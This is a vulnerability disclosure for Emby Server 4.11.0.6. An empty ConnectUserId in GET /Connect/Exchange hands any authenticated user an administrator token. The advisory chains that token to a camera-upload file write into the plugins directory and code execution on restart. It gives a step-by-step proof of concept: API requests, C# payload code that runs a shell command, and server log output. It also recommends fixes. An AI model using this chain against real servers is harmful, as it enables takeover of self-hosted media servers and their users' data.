Summary Any authenticated Emby Server user, including a fully unprivileged account, can obtain an administrator access token by calling GET /Connect/Exchange with an empty ConnectUserId parameter
Description
Any authenticated Emby Server user, including a fully unprivileged account, can obtain an administrator access token by calling GET /Connect/Exchange with an empty ConnectUserId parameter.
The server resolves the empty value to the first-created user, which is the administrator, and mints a session for that user without checking that the caller owns the account it is authenticating as. The returned token is a full administrator session.
The stolen administrator session then allows arbitrary file write into the server plugins directory through the camera-upload feature, and the written DLL is loaded and executed as a server entry point on the next restart, which an administrator can trigger over the API.
The result is remote code execution inside the EmbyServer process.
The chain was reproduced end to end on emby/embyserver:4.11.0.6. The entry condition is a single account of any privilege level.
Details
The vulnerability is in the Connect token-exchange route, in Emby.Server.Connect.dll. All code below is decompiled from the assemblies shipped in emby/embyserver:4.11.0.6.
The route authenticates the caller as an attacker-chosen user
Route and handler (ConnectService.Get):
[Route("/Connect/Exchange", "GET")] [Authenticated]
public sealed class GetLocalUser { public string ConnectUserId { get; set; } }
public async Task<object> Get(GetLocalUser request) {
User localUser = _connectManager.GetLocalUser(request.ConnectUserId);
if (localUser == null) throw new ResourceNotFoundException(...);
var authInfo = AuthorizationContext.GetAuthorizationInfo(Request);
var auth = await _sessionManager.CreateNewSession(new AuthenticationRequest {
App = authInfo.Client, DeviceId = authInfo.ReportedDeviceId, ...
Username = localUser.Name,
UserId = localUser.InternalId
});
return new ConnectAuthenticationExchangeResult {
AccessToken = auth.AccessToken, LocalUserId = auth.User.Id };
}The caller identity (authInfo) is used only to stamp App and DeviceId onto the new session. The session is created for localUser, which is selected entirely from the attacker-controlled request.ConnectUserId. There is no comparison between the caller and localUser, and no check that the caller is permitted to authenticate as localUser.
An empty ConnectUserId resolves to the administrator
Target resolution (ConnectManager.GetLocalUser):
public User GetLocalUser(string connectUserId) =>
_userManager.GetUserList(new UserQuery { ConnectUserId = connectUserId, Limit = 1 })
.FirstOrDefault();The per-user filter it relies on (UserManager.IncludeUser, line 410):
if (!string.IsNullOrEmpty(query.ConnectUserId)
&& !string.Equals(query.ConnectUserId, user.ConnectUserId, OrdinalIgnoreCase))
return false;The filter is skipped entirely when the supplied ConnectUserId is null or empty. It also never requires a user to have a ConnectUserId at all. So GetLocalUser("") filters out nobody, and FirstOrDefault() over the user list (insertion order) returns the first-created user. On a standard install that is the administrator created during first-run setup (InternalId = 1). No Emby Connect linking and knowledge of the target are required.
It does not depend on Emby Connect being used
This was verified by removing every Connect field from the administrator account in the database (ConnectUserId, ConnectUserName, LinkType, AccessKey), restarting, re-authenticating a fresh low-privilege token, and repeating the empty-string exchange. It still returned 200 with an administrator token, and that token still reported administrator rights.
So the bypass works on a server that has never configured Emby Connect, although authentication is still required (any privilege level).
Recommended fix
The route has two separate defects. Each should be fixed.
- The lookup filter treats an empty value as "match everyone" (
UserManager.IncludeUser, line 410). Change it so a null or emptyConnectUserIdmatches no user. A query that supplies an empty Connect id then returns an empty result, andGetLocalUser("")returns null instead of the first account. - The handler never confirms the caller owns the account it authenticates as (
ConnectService.Get). Before creating the session, add three checks:
- Reject the request if
ConnectUserIdis null or empty. - Require the resolved
localUserto be genuinely Connect-linked, meaning its storedConnectUserIdequals the supplied value. - Require
localUserto be the authenticated caller's own account. A caller must never be issued a session for a different user.
Either fix alone closes the reported exploit. Applying both is the safer outcome.
Proof of concept
Target started with the stock image and a persistent config volume:
docker run -d --name emby-poc -v "$PWD/config:/config" -p 8096:8096 emby/embyserver:4.11.0.6Set up the lab (first-run admin, then an unprivileged user)
# First-run wizard over the API. embyadmin becomes the first user (InternalId=1).
curl -s -X POST http://127.0.0.1:8096/Startup/User \
-H 'Content-Type: application/json' \
-d '{"Name":"embyadmin","Password":"AdminPass123!"}'
curl -s -X POST http://127.0.0.1:8096/Startup/Complete # -> 204
# As admin, create an ordinary non-admin account "guest".
# (authenticate as embyadmin to get an admin token first, then:)
curl -s -X POST http://127.0.0.1:8096/Users/New -d '{"Name":"guest"}'
curl -s -X POST http://127.0.0.1:8096/Users/{guestId}/Password -d '{"NewPw":"GuestPass123!"}'The guest account is confirmed walled off: IsAdministrator=False, GET /Users returns 403, GET /ScheduledTasks returns 403. This is the attacker's starting position.
Link 1: obtain an administrator token as guest
Authenticate as guest to get a normal token, then call the exchange with an empty id:
GET /Connect/Exchange?ConnectUserId= (empty) -> 200
{"LocalUserId":"<admin user id>","AccessToken":"<admin token>"}
GET /Connect/Exchange (omitted) -> 200 (same admin result)
GET /Connect/Exchange?ConnectUserId=%20 (space) -> 404 (non-empty , so the efilter runs and matches nothing)The returned token is a full administrator session:
GET /Users with the exchanged token -> 200 (embyadmin IsAdministrator=True)
GET /Users with guest's own token -> 403Link 2: arbitrary file write into the plugins directory (admin token)
Three admin calls turn the camera-upload feature into a write primitive at /config/plugins:
POST /Library/VirtualFolders?Name=pluginlib&CollectionType=homevideos
{"LibraryOptions":{"PathInfos":[{"Path":"/config/plugins"}], ...}} -> 204
POST /System/Configuration/devices
{"CameraUploadPath":"/config/plugins","EnableCameraUploadSubfolders":false} -> 204
POST /Devices/CameraUploads?DeviceId=attacker-dev-001&Name=Emby.EvalProof.dll
(body = raw DLL bytes, Content-Type: application/octet-stream) -> 204
# writes /config/plugins/Emby.EvalProof.dllThe filename and content come from the request, the path comes from the config call. There is no extension check, magic-byte check, or type validation. Omit any Album parameter so the file lands at the top of the plugins directory where the loader scans.
Link 3: code execution on restart
The payload implements MediaBrowser.Controller.Plugins.IServerEntryPoint, which Emby auto-instantiates on startup and calls Run() on. It was compiled against the exact MediaBrowser.Controller.dll 4.11.0.6 extracted from the running server, targeting net8.0 to match the server runtime (.NET 8.0.28).
public class EvalEntryPoint : IServerEntryPoint {
public EvalEntryPoint() { TryWrite("ctor"); }
public void Run() { TryWrite("run"); }
void TryWrite(string phase) {
File.AppendAllText("/tmp/emby_eval_proof.txt", /* host, pid, user, uid, os, runtime */);
Process.Start("/bin/sh", "-c \"id > /tmp/emby_eval_cmd.txt\"");
}
public void Dispose() {}
}Trigger the restart over the API. The server runs under an s6 supervisor with -restartexitcode 3, so POST /System/Restart makes it exit 3 and s6 respawns it automatically. No host access is needed.
POST /System/Restart (admin token) -> 204On respawn the CLR enumerates /config/plugins/*.dll, loads the DLL, and runs the entry point. The server log records it:
Info App: Loading Emby.EvalProof, Version=1.0.0.0 ... from /config/plugins/Emby.EvalProof.dll
Info App: Starting entry point Emby.EvalProof.EvalEntryPoint
Info App: Entry point completed: Emby.EvalProof.EvalEntryPointAnd the payload output, written from inside the EmbyServer process:
/tmp/emby_eval_proof.txt
phase=ctor / phase=run
hostname=<container id> pid=<new pid> user=bin uid=2
os=Unix runtime=.NET 8.0.28
/tmp/emby_eval_cmd.txt
uid=2(bin) gid=2(bin) groups=2(bin)The second file is the output of /bin/sh -c id executed by the loaded code, which is arbitrary command execution.
The DLL persists in /config/plugins, so it re-executes on every subsequent restart.
Impact
An authorization bypass (CWE-639). Any authenticated user can escalate to administrator, and from there reach remote code execution through admin features.
Who is impacted
Any Emby Server deployment on an affected version where an attacker can obtain a single account of any privilege level.
That account is the only barrier. The exchange with an empty id returns whichever user was created first, which on a normal server is the administrator. The attacker needs no credential for the admin account and no Connect linkage.
The account barrier, and why this could be argued as Critical
Stock Emby has no public sign-up. Account creation is restricted to administrators through POST /Users/New, confirmed on the tested server, and the only Register endpoints serve App Store purchases. This is why the rating assumes one required account (PR:L), which caps the score at 8.8.
Many deployments that users host themselves add self-registration by invite, using third-party tools such as jfa-go and Wizarr. These create genuine unprivileged accounts on an invitee's behalf, sometimes through links that are effectively open. On any server running one, the attacker obtains the needed account with no administrator involvement.
That approaches PR:N and would raise the severity to Critical. The report stays at High (8.8) because this relies on a tool that is not shipped, but this is an escalatory factor.
What the attacker gains
- A full administrator session. This is complete control of the server and all of its data, including every user's media and the stored session tokens.
- Remote code execution in the EmbyServer process, shown by loading a DLL the attacker supplies and running a shell command. The code runs as the
binuser (uid 2) and stays inside the container. The impact to the Emby service and its data is total, and the planted DLL runs again on every restart.